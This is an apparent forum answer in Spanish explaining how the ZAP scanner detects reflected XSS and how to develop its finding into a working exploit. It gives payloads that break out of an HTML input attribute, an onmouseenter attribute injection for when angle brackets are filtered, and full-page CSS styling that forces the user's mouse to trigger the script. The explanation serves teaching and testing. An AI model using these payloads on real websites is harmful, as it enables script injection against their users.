Estas verificaciones automáticas funcionan al poner una etiqueta de script que contiene un token aleatorio en cada campo. Por ejemplo, /someRequest?foo=x&bar=y
podría convertirse en:
GET /someRequest?foo=<script>alert("147230578")</script>&bar=<script>alert("561972456")</script>
Mantiene un mapa de campos y los valores aleatorios que eligió (en este caso foo = 147230578, bar = 561972456) para rastrear qué parámetro es inyectable.
A continuación, comprueba si <script>alert("147230578")</script>
o <script>alert("561972456")</script>
aparecen en la página sin codificación . Si se encuentra la cadena, sabe que XSS es muy posible. Si no, no apareció en la página o se codificó en HTML.
En su caso, descubrió que si reflejaba esas cadenas de vuelta, identificaba qué campo era inyectable. La razón por la que no se ejecutó es que la etiqueta de script se inyectó en un atributo HTML.
Entonces, mirando su inyección:
<input type="text" name="cn" size="20" maxlength="20" value="<script>alert(1);</script>">
Lo que sucede aquí es que el HTML tiene un formato incorrecto, por lo que el renderizador del navegador simplemente intenta sacarle el máximo partido, ignora ambas etiquetas y cierra todo después de </script>
. Luego ve ">
que asume que es contenido y lo muestra en la página.
Si en cambio inyectamos "><script>alert(1)</script>
en el parámetro, obtenemos esto:
<input type="text" name="cn" size="20" maxlength="20" value=""><script>alert(1)</script>">
Esta vez la etiqueta de entrada está cerrada, lo que hace que la etiqueta script
se ejecute. Exitoso XSS! De nuevo, el ">
al final solo se trata como contenido.
Para una ronda de bonos, ¿qué podríamos hacer si el parámetro vulnerable no permite el uso de corchetes triangulares? Como ya estamos en un atributo, podemos manipular el elemento input
que estamos inyectando para ejecutar el script:
" onmouseenter="alert(1)" x="
Esto crea el siguiente resultado:
<input type="text" name="cn" size="20" maxlength="20" value="" onmouseenter="alert(1)" x="">
Tenga en cuenta que el atributo x
no hace nada, solo nos permite mantener un HTML válido; los atributos desconocidos son simplemente ignorados.
En este caso, cuando el mouse del usuario ingresa al elemento de entrada, ejecuta el JavaScript y obtenemos XSS nuevamente.
Pero requiriendo la interacción del usuario apesta! Podríamos usar onload
pero esto es a menudo delicado. En su lugar, podemos utilizar algunos trucos CSS para forzar la interacción del usuario:
" onmouseenter="alert(1)" style="display:block;position:absolute;top:0;left:0;width:50000px;height:50000px;z-index:999999;
Esto se convierte en:
<input type="text" name="cn" size="20" maxlength="20" value="" onmouseenter="alert(1)" style="display:block;position:absolute;top:0;left:0;width:50000px;height:50000px;z-index:999999;">
El estilo aquí parece un bocado, pero es bastante simple:
- Haga que el elemento se muestre como un elemento de bloque (para que podamos dimensionarlo arbitrariamente)
- Haga que la posición del elemento sea absoluta dentro de la ventana (para que podamos establecer su posición en cualquier lugar)
- Mueve el elemento a (0,0)
- Haga que el elemento llene completamente la página (de modo que el mouse del usuario tiene para ingresarlo)
- Haz que el elemento aparezca encima de todo lo demás.
Esperemos que esto explique cómo funciona todo esto y cómo puede pasar del ejemplo dado por ZAP a un exploit XSS en funcionamiento.